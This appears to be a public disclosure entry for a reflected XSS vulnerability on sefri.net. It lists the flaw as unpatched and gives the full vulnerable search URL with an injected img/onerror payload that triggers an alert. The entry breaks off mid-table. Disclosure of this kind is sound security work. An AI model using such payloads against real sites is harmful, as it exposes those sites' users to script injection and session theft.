sefri.net XSS vulnerability

Vulnerable URL: http://sefri.net/link/search.php?q=404%22%3E%3Cimg%20src=x%20onerror=window.onerror=alert;throw/xssposed/;//%3E%3C Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...